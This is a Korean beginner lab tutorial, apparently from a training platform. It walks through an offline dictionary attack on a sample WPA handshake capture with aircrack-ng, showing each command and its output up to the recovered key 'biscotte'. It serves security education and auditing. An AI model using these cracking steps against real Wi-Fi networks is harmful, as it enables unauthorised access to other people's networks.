aircrack-ng 를 사용하여 WPA 핸드셰이크에 대한 사전 공격 수행하기

Beginner
지금 연습하기

소개

이 실습에서는 WPA/WPA2 핸드셰이크에 대한 사전 공격 (dictionary attack) 을 수행하는 방법을 배웁니다. 장치가 WPA/WPA2로 보호되는 Wi-Fi 네트워크에 연결될 때, 장치를 인증하기 위해 4-way 핸드셰이크가 발생합니다. 이 핸드셰이크를 캡처하면 네트워크의 비밀번호를 오프라인으로 크랙 (crack) 할 수 있습니다.

사전 공격은 비밀번호로 보호된 시스템에 침투하기 위해 목록 (사전 또는 단어 목록이라고 함) 에 있는 모든 단어를 비밀번호로 체계적으로 입력하는 방법입니다. 이 공격을 수행하기 위해 Wi-Fi 보안 감사에 사용되는 강력한 도구인 aircrack-ng를 사용할 것입니다. 실제 시나리오를 시뮬레이션하기 위해 캡처된 핸드셰이크 파일 (.cap) 과 단어 목록이 제공됩니다.

이 실습이 끝나면 aircrack-ng를 사용하여 캡처된 핸드셰이크 파일에서 Wi-Fi 비밀번호를 찾을 수 있게 됩니다.

캡처된 핸드셰이크 .cap 파일 찾기

이 단계에서는 미리 캡처된 WPA 핸드셰이크 파일을 찾습니다. 이 실습을 위해 ~/project 디렉토리에 wpa_handshake.cap이라는 샘플 캡처 파일이 배치되었습니다. 이 파일에는 네트워크 트래픽이 포함되어 있으며, 공격에 필요한 필수 4-way 핸드셰이크가 들어 있습니다.

먼저 현재 디렉토리의 파일을 나열하여 캡처 파일이 있는지 확인합니다. ls -l 명령을 사용합니다.

ls -l

출력에서 wpa_handshake.cap 파일과 다른 파일들을 볼 수 있어야 합니다.

total 8
-rw-r--r-- 1 labex labex 11 Mar 25 10:00 rockyou.txt
-rw-r--r-- 1 labex labex 985 Mar 25 10:00 wpa_handshake.cap

이제 캡처 파일의 존재를 확인했으므로 다음 단계로 진행할 수 있습니다.

rockyou.txt 와 같은 단어 목록 파일 찾기

이 단계에서는 단어 목록 파일을 찾고 검사합니다. 사전 또는 단어 목록은 잠재적인 비밀번호 목록을 포함하는 간단한 텍스트 파일로, 각 줄에 하나의 비밀번호가 있습니다. aircrack-ng는 이 목록을 사용하여 캡처된 핸드셰이크에 대해 각 비밀번호를 테스트합니다.

~/project 디렉토리에 rockyou.txt라는 작은 단어 목록이 생성되었습니다. cat 명령을 사용하여 내용을 살펴보겠습니다.

cat rockyou.txt

출력에는 파일에 포함된 잠재적인 비밀번호가 표시됩니다.

password
12345678
biscotte
qwerty

실제 시나리오에서는 단어 목록이 방대하여 수백만 또는 수십억 개의 비밀번호를 포함할 수 있습니다. 이 실습에서는 우리의 작은 목록에 올바른 비밀번호가 포함되어 있어 공격이 빠르게 성공할 수 있습니다.

.cap 파일로 aircrack-ng 명령 구성하기

이 단계에서는 aircrack-ng를 사용하여 캡처 파일을 검사합니다. 공격을 시작하기 전에 .cap 파일에 유효한 WPA 핸드셰이크가 포함되어 있는지 확인하는 것이 좋습니다. aircrack-ng가 이 작업을 수행할 수 있습니다.

aircrack-ng를 실행하고 캡처 파일 wpa_handshake.cap을 인수로 제공합니다.

aircrack-ng wpa_handshake.cap

aircrack-ng는 파일을 분석하고 찾은 네트워크에 대한 정보를 표시합니다.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
Please specify a dictionary (option -w).

WPA (1 handshake) 줄에 주의 깊게 살펴보십시오. 이는 "teddy" 네트워크에 대한 완전한 WPA 핸드셰이크가 성공적으로 캡처되어 파일에 존재함을 확인합니다. 이것이 사전 공격을 진행하는 데 필요한 확인입니다. 또한 도구는 사전 지정을 요청하며, 이는 다음 단계에서 수행할 것입니다.

-w 매개변수를 사용하여 단어 목록 지정하기

이 단계에서는 -w 매개변수를 사용하여 공격에 사용할 단어 목록을 지정하는 방법을 배웁니다. 이 매개변수는 aircrack-ng에 잠재적인 비밀번호 사전으로 사용할 파일을 알려줍니다.

전체 명령 구문은 aircrack-ng <capture_file> -w <wordlist_file>입니다.

작동 방식을 이해하기 위해 먼저 존재하지 않는 단어 목록으로 명령을 실행해 보겠습니다. 이를 통해 aircrack-ng가 오류를 어떻게 처리하는지 볼 수 있습니다. 단어 목록으로 nonexistent.txt를 사용하여 명령을 실행해 보십시오.

aircrack-ng wpa_handshake.cap -w nonexistent.txt

파일을 찾을 수 없기 때문에 오류 메시지가 표시됩니다.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
The file 'nonexistent.txt' doesn't exist.
Please specify a dictionary (option -w).

이는 aircrack-ng-w 매개변수에 대해 유효하고 존재하는 파일을 필요로 함을 확인합니다. 다음 단계에서는 올바른 단어 목록 파일을 사용하여 공격을 실행합니다.

공격 실행 및 'KEY FOUND' 출력 분석하기

이 단계에서는 올바른 단어 목록으로 전체 사전 공격을 실행하고 출력을 분석하여 키를 찾습니다. 이제 캡처 파일과 단어 목록을 지정하는 방법을 알았으므로 공격을 시작할 수 있습니다.

aircrack-ng 명령을 실행하고 캡처 파일로 wpa_handshake.cap을, 단어 목록으로 rockyou.txt를 제공합니다.

aircrack-ng wpa_handshake.cap -w rockyou.txt

이제 aircrack-ng가 시작됩니다. 핸드셰이크에 대해 rockyou.txt의 각 비밀번호를 테스트합니다. 단어 목록이 작고 올바른 비밀번호를 포함하고 있으므로 프로세스는 매우 빠를 것입니다.

Opening wpa_handshake.cap
Read 13 packets.

   ##  BSSID              ESSID                     Encryption

   1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.
Opening wpa_handshake.cap
[00:00:00] 3 keys tested (23.08 k/s)


                                     KEY FOUND! [ biscotte ]


      Master Key     : ED A5 79 22 E5 5F 56 64 74 CB 89 98 44 6A 18 25
                       E0 E3 44 86 8A F3 89 84 55 4A D3 94 03 19 28 79

      Transient Key  : 6A 84 A9 58 52 2E 61 30 62 50 2B 88 46 1B 2A 8A
                       ...

      EAPOL HMAC     : 4E 1A E7 74 52 86 C5 29 A3 43 54 B2 1B 2D 34 18

출력에서 가장 중요한 줄은 KEY FOUND! [ biscotte ]입니다. 이는 공격이 성공했음을 나타냅니다. aircrack-ng는 단어 목록에서 비밀번호를 테스트했으며 "teddy" 네트워크의 올바른 비밀번호가 biscotte임을 발견했습니다.

요약

이 실습에서는 aircrack-ng를 사용하여 WPA 핸드셰이크에 대한 사전 공격을 성공적으로 수행했습니다.

다음과 같은 내용을 배웠습니다.

  • 캡처 파일 (.cap) 및 단어 목록 찾기 및 식별 방법
  • aircrack-ng를 사용하여 캡처 파일을 검사하고 WPA 핸드셰이크의 존재를 확인하는 방법
  • 공격을 위한 단어 목록을 지정하기 위해 -w 매개변수를 사용하는 방법
  • 사전 공격을 실행하고 결과를 해석하여 네트워크 키를 찾는 방법

이 연습은 Wi-Fi 보안 감사에서 기본적인 기술을 보여주며, 사전 공격으로 쉽게 추측할 수 없는 강력하고 복잡한 비밀번호를 사용하는 것의 중요성을 강조합니다.